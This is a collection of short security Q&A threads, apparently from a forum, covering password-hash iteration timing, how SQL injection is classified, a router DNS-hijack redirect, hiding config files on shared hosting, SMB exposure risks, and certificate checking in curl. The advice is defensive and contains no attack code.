Let's say I've got a server that can do 6400 iterations with SHA256 with a key length of 6 characters, with a salt that's X characters long and a password that's Y characters long in just under 9ms. I'm not sure if it's 'the fear' that's been put into me, but I wouldn't consider this sufficient primarily because of the low iteration count and extremely short key length despite it being salted and hashed with what is for all intents and purposes a secure algorithm. What's 9ms on my system will be significantly less on a system dedicated to 'cracking' the hash. Again, these values are just theoretical - don't look into them too much.

So, let's assume I go to 64000 iterations with a key length of 60. This takes almost 90ms to calculate, and I'd consider this secure for all intents and purposes, both due to it's high iteration count, it's output key length and the time it takes to generate.

More to the point, it would take 10x longer to calculate the latter hash (compared to the first) regardless of the system it's being calculated on, despite it taking ~91% longer than the '8ms rule' when run in the original environment.

So, where did this value of 8ms originally come from and on what grounds is it recommended exactly? Is the 8ms based on your environment' calculation time, or is it calculated through some other means (e.g. via a dedicated hash application running on a GPU)?

8ms Recommendation Source #1

8ms Recommendation Source #2

There is no "8 ms rule". There's an equation that was explained by Thomas Pornin (your first link) which stated in that example that for 32 bits of password quality and an attacker with 200 times the computing resources as your hashing system devoted to cracking hashes would complete the task in one month if it took you 8ms to run a hash. You need to adjust those assumptions about password strength, attacker resources, and your devotion of resources to fit your needs.


Is SQL-injection a client-side or a server-side attack? What type of attack is SQL-injection? I am confused because this type of attack is done through the client-side. However, the attackers target is a database which is "behind" a server. Most attacks from OWASP Top 10 attacks 2017 are server-side, but the attacks are performed through client-side. Can someone explain why they're classified as server-side?

The database is stored on the server. This means that the server is the thing which gets directly harmed during successful SQL injection (there may be secondary effects on the client, but the server is harmed first).

Therefore, SQL injection is a server-side attack first and foremost.


Sites being redirected to adult site in all devices From past couple of days, we are facing this issue where sites are automatically being routed to an adult site, although we get a 404 Not Found HTTP error.

First guess is obviously that my system is infected with a virus or malware. So, I did a complete scan and Avast removed some viruses. But the problem persists.

The redirection doesn't happen all the time, it happens randomly. Also it is not specific to some sites, it happens for any site.

But, I found that I am not the only victim, every one in my network is facing this problem.

On Googling I only got suggestions that it is a doing of a virus or malware in my system.

But, how come our Android devices and iPads are also affected. It is happening in all browsers, Chrome, Firefox and IE.

I've no clue where the problem is and how to fix it. Please advise.

Update:

  Checked the router configuration. Found that the remote administration
  was ON. The password was the default one. Changed the password. Also,
  saw that the DNS server configuration, it was set to take the details
  from ISP.

  So, not sure how something got hold of my DNS translation.

  But, after changing my router's password I haven't noticed the issue
  even once. So, it makes me think that my router was compromised.

  Also, would like to give one more info to the curious ones out there
  which is puzzling me. When I was opening a url, say abc.com, the page
  was actually loading and was then getting redirected. So, if the DNS
  was compromised I guess when we were hitting a link, it should have
  directly gone to the malicious site. But for us the page was loading
  and within a split of a second it was being redirected.

  Still don't know the root cause, but I'm happy that the issue is
  fixed.

If your devices can connect to the internet (without redirection to Adulttube.info) through 3/4G then I suppose your router is infected with a trojan

(Trojan:32/DNSChanger) https://www.f-secure.com/v-descs/dnschang.shtml

Trojan :32/DNSChanger compromised the router weak default password using brute-force attacks.

The Trojan then changed the routers DNS table to malicious DNS servers...redirecting Domain Name resolutions to unsolicited, illegal and malicious sites the attacker wanted victims to access.


Where to put private files on a shared web server I continually hear and read people warning against the perils of placing proprietary information or confidential documents within the web server root directory. If I am on a shared server, I cannot place files "above" the root in the document tree. Is there a work around for this that is not too hackish?

More specifically, I would like to put configuration information into an ini file. What can I do that so people cannot download it (let alone modify it)? Where should I put it to minimize the risk of misconfiguration or bug exploitation?

If it's that important, there's not much you can do. Any steps you take can easily be thwarted by a misconfigured server. If the file must be within the Web root, then your only option is to use whatever mechanism your server allows to disable access to these files (e.g. .htaccess for Apache).


Is it risky to allow SMB traffic to the Internet SMB is a well-known network file sharing protocol, and I assume it's supposed to be used internally only. At my company I found someone connecting to a share on a server on the Internet over port 445 using SMB. Is there any risk in allowing such connections? I'm thinking if someone were able to MitM they be able to capture sensitive data.

I'm not sure what operating system you are using, or if/what firewalls you have implemented, but exposing the SMB service with unfiltered access from the internet is asking to be compromised.

Also, a Man in the Middle attack would be the least of your worries. Someone could easily gain root access to your computer and consequently your entire network. Famously, the ms08_067_netapi exploits the SMB service on Windows XP on port 445 using a relative path stack corruption. I could easily execute this and gain root access in less than a minute assuming I know an IP address. For any random attacker, port scans are done across the internet continuously. Someone will find your open port.

I would recommend that you close that port and find a different solution for what you're trying to accomplish.


Manual digital certificate verifcation I was reading about digital signatures and certificates and from what I've read, when you receive a certificate from a website, you verify CA's identity with a list of CA stored in the web browser.

My question is, what If I am using a desktop client or terminal to make a request to the webserver? How does verification happen in that case?

Your client will usually perform the same checks. Get the certificate, and check that it can trace it back to a known root certificate (possibly via one or more intermediate certificates, forming a "certificate chain").

This is the case with curl for instance:

you can specify the list of acceptable CA certs using the --cacert option
you can disable the check using --insecure (or -k)

The list of acceptable root certificates may vary from one tool to another (it may also depend on the operating system). Some will use a system-wide list, while others will use their own list.

Some tools may not do the verification automatically (or at all), but you'll need to give us details of the specific tool if you want more details.